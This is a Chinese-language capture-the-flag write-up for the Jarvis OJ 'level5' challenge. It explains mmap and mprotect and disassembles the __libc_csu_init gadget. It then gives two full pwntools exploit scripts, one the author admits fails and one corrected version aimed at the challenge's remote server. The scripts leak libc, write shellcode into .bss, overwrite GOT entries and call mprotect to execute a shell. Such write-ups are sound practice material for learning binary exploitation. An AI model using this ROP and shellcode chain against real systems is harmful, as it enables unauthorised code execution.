美文网首页
Jarvis OJ level5 wp

Jarvis OJ level5 wp

作者: 111p1kk | 来源:发表于2019-07-19 14:05 被阅读0次

    题目要求:附件同level3_x64,mmapmprotect练习,假设system和execve函数被禁用,请尝试使用mmap和mprotect完成本题。

    那么首先,参考mmap函数和mprotect函数

    什么是mmap?==>告诉内核将一个给定的文件映射到一个存储区域中

    void mmap( void *start , size_t length , int prot , int flags , int fd , off_t offsize);
    

    void *mmap(void *addr, //用于指定映射存储区的起始地址,通常设置为0,表示让操作系统选择该映射区的起始地址。此函数的返回地址是映射区的起始地址。
    size_t len, //映射的字节数
    int plot, //对映射区的保护要求 1、PROT_READ(映射区可读) 2、PROT_WRITE(映射区可写) 3、PROT_EXEC(映射区可执行) 4、PROT_NONE(映射区不可访问)
    int flag, //flag参数影响映射存储区的各种属性
    int filedes, //指定要被映射文件的描述符
    off_t off); //off表示要映射的字节在文件中的起始偏移量
    (六个参数用rdi,rsi,rdx,rcx,r8,r9控制)

    什么是mprotect?==>更改一个现存映射存储区的权限

    int mprotect(const void start, size_t len, int prot);
    

    int *mprotect(void *addr, //地址addr必须是系统页长的整数倍(一页=4kb=0x1000b)
    size_t len, //len长度
    int plot); // 对存储映射区保护要求(权限值) 1、PROT_READ 2、PROT_WRITE 3、PROT_EXEC 4、PROT_NONE
    (三个参数分别用rdi, rsi, rdx 控制)


    0x01寻找漏洞

    开启NX保护。
    程序存在栈溢出漏洞



    0x02思路

    1.利用write泄露libc
    2.得到mprotect函数在内存中的地址
    3.将shellcode写入bss段
    4.将bss和mprotect函数写入got表(利用got地址处为空的地址即可)
    5.利用通用gadget调用mprotect,将bss段设置为可执行跳转到bss段执行shellcode


    通用gadget

    .text:0000000000400650 ; void _libc_csu_init(void)
    .text:0000000000400650                 public __libc_csu_init
    .text:0000000000400650 __libc_csu_init proc near               ; DATA XREF: _start+16↑o
    .text:0000000000400650 ; __unwind {
    .text:0000000000400650                 push    r15
    .text:0000000000400652                 mov     r15d, edi
    .text:0000000000400655                 push    r14
    .text:0000000000400657                 mov     r14, rsi
    .text:000000000040065A                 push    r13
    .text:000000000040065C                 mov     r13, rdx
    .text:000000000040065F                 push    r12
    .text:0000000000400661                 lea     r12, __frame_dummy_init_array_entry
    .text:0000000000400668                 push    rbp
    .text:0000000000400669                 lea     rbp, __do_global_dtors_aux_fini_array_entry
    .text:0000000000400670                 push    rbx
    .text:0000000000400671                 sub     rbp, r12
    .text:0000000000400674                 xor     ebx, ebx
    .text:0000000000400676                 sar     rbp, 3
    .text:000000000040067A                 sub     rsp, 8
    .text:000000000040067E                 call    _init_proc
    .text:0000000000400683                 test    rbp, rbp
    .text:0000000000400686                 jz      short loc_4006A6
    .text:0000000000400688                 nop     dword ptr [rax+rax+00000000h]
    .text:0000000000400690
    .text:0000000000400690 loc_400690:                             ; CODE XREF: __libc_csu_init+54↓j
    .text:0000000000400690                 mov     rdx, r13
    .text:0000000000400693                 mov     rsi, r14
    .text:0000000000400696                 mov     edi, r15d
    .text:0000000000400699                 call    qword ptr [r12+rbx*8]
    .text:000000000040069D                 add     rbx, 1
    .text:00000000004006A1                 cmp     rbx, rbp
    .text:00000000004006A4                 jnz     short loc_400690
    .text:00000000004006A6
    .text:00000000004006A6 loc_4006A6:                             ; CODE XREF: __libc_csu_init+36↑j
    .text:00000000004006A6                 add     rsp, 8
    .text:00000000004006AA                 pop     rbx
    .text:00000000004006AB                 pop     rbp
    .text:00000000004006AC                 pop     r12
    .text:00000000004006AE                 pop     r13
    .text:00000000004006B0                 pop     r14
    .text:00000000004006B2                 pop     r15
    .text:00000000004006B4                 retn
    .text:00000000004006B4 ; } // starts at 400650
    .text:00000000004006B4 __libc_csu_init endp
    

    在函数loc_400690中,可以通过r13,r14,r15来控制rdx,rsi,edi
    在函数loc_4006A6中,可以控制r13,r14,r15。
    由此,我们可以控制mprotect函数的三个参数
    首先布置栈来确定rbx, rbp, r12, r13, r14, r15的值,然后将返回地址置为loc_400690函数地址,loc_400690函数中的call ptr[r12+rbx*8]由前面的布置决定,由于是call ptr指令,所以要用got表地址来解析
    为了确保不jnz,要将rbx置为0。可执行权限取决于r13,设置为7(rwx),长度取决于r14(设置的权限的地址的范围,对于此题,我们要将bss段包含进去),地址取决于r15

    0x03攻击

    这道题的exp有这么几个和我不太一样的版本:
    1.https://www.cnblogs.com/snip3r/p/9947961.html
    这个难理解的就是pop rbx的偏移(对我而言)


    2.https://blog.csdn.net/qq_38204481/article/details/80984318
    这两位师傅写的我测试了,根据自己的文件进行修改,都是可以cat flag滴,放心食用

    关于不加pause()远程打不通,有师傅说是一次发送的payload数据包太大,read函数会截断发送导致攻击失败

    完整exp:这个脚本我调了好久...不知道为啥打不通...后期来改TAT

    #!usr/bin/python
    
    from pwn import *
    # context.log_level = "debug"
    
    # io = remote("pwn2.jarvisoj.com", 9884)
    io = process("./level3_x64")
    libc = ELF("libc-2.19.so")
    elf = ELF("./level3_x64")
    
    rop1 = 0x00000000004006AA       #pop_rbx_rbp_r12_r13_r14_r15
    rop2 = 0x0000000000400690       #mov rdx,r13;; mov rsi,r14;; mov edi,r15d
    bss_addr = 0x0000000000600A88
    main_addr = 0x000000000040061A
    pop_rdi_ret = 0x00000000004006b3
    pop_rsi_r15_ret = 0x00000000004006b1
    
    
    read_plt = elf.plt['read']
    read_got = elf.got['read']
    write_plt = elf.plt['write']
    write_got = elf.got['write']
    vul_addr = elf.symbols["vulnerable_function"]
    
    io.recv()
    print "=======leak======="
    payload1  = "a" * 0x80 + "a" * 8 
    payload1 += p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_r15_ret) + p64(read_got) + "a" * 8 + p64(write_plt)     #write(1, read_got, 8)
    payload1 += p64(vul_addr)
    
    io.sendline(payload1)
    
    read_addr = u64(io.recv()[0:8])
    print "read_addr ==> "+hex(read_addr) 
    
    libc_base = read_addr - libc.symbols["read"]
    mprotect_addr = libc_base + libc.symbols["mprotect"]
    
    io.recv()
    print "=======read shellcode to bss======"
    pause()
    payload2  = "a" * 0x80 + "a" * 8 
    payload2 += p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_r15_ret) + p64(bss_addr) + "a" * 8 + p64(read_plt)
    payload2 += p64(vul_addr)
    
    io.sendline(payload2)
    shellcode = asm(shellcraft.amd64.linux.sh(),arch='amd64')
    io.sendline(shellcode)
    
    io.recv()
    print "======write bss to got======"
    pause()
    bss_got = 0x600A48
    payload3  = "a" * 0x80 + "a" * 8 
    payload3 += p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_r15_ret) + p64(bss_got) + "a" * 8 + p64(read_plt)
    payload3 += p64(vul_addr)
    
    io.sendline(payload3)
    io.sendline(p64(bss_addr))
    
    io.recv()
    print "======write mprotect to got======"
    pause()
    mprotect_got = 0x600A50
    payload4  = "a" * 0x80 + "a" * 8 
    payload4 += p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_r15_ret) + p64(mprotect_addr) + "a" * 8 + p64(read_plt)
    payload4 += p64(vul_addr)
    
    io.sendline(payload4)
    io.sendline(p64(mprotect_addr))
    
    io.recv()
    print "====== end ======"
    pause()
    payload5  = "a" * 0x80 + "a" * 8
    payload5 += p64(rop1) + "a" * 8
    payload5 += p64(0) + p64(1) + p64(mprotect_got) + p64(7) + p64(0x1000) + p64(0x600000)
                #rbx     #rbp     #r12                #r13     #r14          #r15
                                                      #rdx     #rsi          #edi
    payload5 += p64(rop2) + "a" * 8
    payload5 += p64(0) + p64(1) + p64(bss_got) + p64(0) + p64(0) + p64(0)
                #rbx     #rbp     #r12           #r13     #r14     #r15
                                                 #rdx     #rsi     #edi
    payload5 += p64(rop2)
    
    io.sendline(payload5)
    sleep(5)
    
    io.interactive()
    

    【8.13更正】师父帮我改的555

    #!/usr/bin/env python
    
    from pwn import *
    # context.log_level = "debug"
    
    io = remote("pwn2.jarvisoj.com", 9884)
    libc = ELF("./libc-2.19.so")
    elf = ELF("./level3_x64")
    
    rop1 = 0x00000000004006A6       #pop_rbx_rbp_r12_r13_r14_r15
    rop2 = 0x0000000000400690       #mov rdx,r13;; mov rsi,r14;; mov edi,r15d
    bss_addr = 0x0000000000600A88
    main_addr = 0x000000000040061A
    pop_rdi_ret = 0x00000000004006b3
    pop_rsi_r15_ret = 0x00000000004006b1
    
    read_plt = elf.plt['read']
    read_got = elf.got['read']
    write_plt = elf.plt['write']
    write_got = elf.got['write']
    vul_addr = elf.symbols["vulnerable_function"]
    
    io.recv()
    print "=======leak======="
    payload1  = "a" * 0x80 + "a" * 8 
    payload1 += p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_r15_ret) + p64(read_got) + "a" * 8 + p64(write_plt)     #write(1, read_got, 8)
    payload1 += p64(vul_addr)
    
    io.sendline(payload1)
    
    read_addr = u64(io.recvn(8))
    libc_base = read_addr - libc.symbols["read"]
    mprotect_addr = libc_base + libc.symbols["mprotect"]
    
    print "read_addr ==> "+hex(read_addr) 
    print "libc_base ==> "+hex(libc_base) 
    print "mprotect_addr ==> "+hex(mprotect_addr) 
    
    io.recv()
    print "=======read shellcode to bss======"
    payload2  = "a" * 0x80 + "a" * 8 
    payload2 += p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_r15_ret) + p64(bss_addr) + "a" * 8 + p64(read_plt)
    payload2 += p64(vul_addr)
    
    io.sendline(payload2)
    shellcode = asm(shellcraft.amd64.linux.sh(), arch="amd64")
    io.send(shellcode)
    
    io.recv()
    print "======write bss to got======"
    bss_got = elf.got["__libc_start_main"]
    payload3  = "a" * 0x80 + "a" * 8 
    payload3 += p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_r15_ret) + p64(bss_got) + "a" * 8 + p64(read_plt)
    payload3 += p64(vul_addr)
    
    io.sendline(payload3)
    io.send(p64(bss_addr))
    
    io.recv()
    print "======write mprotect to got======"
    mprotect_got = elf.got["__gmon_start__"]
    payload4  = "a" * 0x80 + "a" * 8 
    payload4 += p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_r15_ret) + p64(mprotect_got) + "a" * 8 + p64(read_plt)
    payload4 += p64(vul_addr)
    
    io.sendline(payload4)
    io.sendline(p64(mprotect_addr))
    
    print "====== end ======"
    payload5  = "a" * 0x80 + "a" * 8
    payload5 += p64(rop1) + "a" * 8
    payload5 += p64(0) + p64(1)  + p64(mprotect_got) + p64(7) + p64(0x1000) + p64(0x600000)
                #rbx     #rbp     #r12                #r13     #r14          #r15
                                                      #rdx     #rsi          #edi
    payload5 += p64(rop2) + "a" * 8
    payload5 += p64(0) + p64(1) + p64(bss_got) + p64(0) + p64(0) + p64(0)
                #rbx     #rbp     #r12                #r13     #r14          #r15
                                                      #rdx     #rsi          #edi
    payload5 += p64(rop2)
    
    io.recv()
    io.sendline(payload5)
    
    io.interactive()
    

    相关文章

      网友评论

          本文标题:Jarvis OJ level5 wp

          本文链接:https://www.haomeiwen.com/subject/zowwkctx.html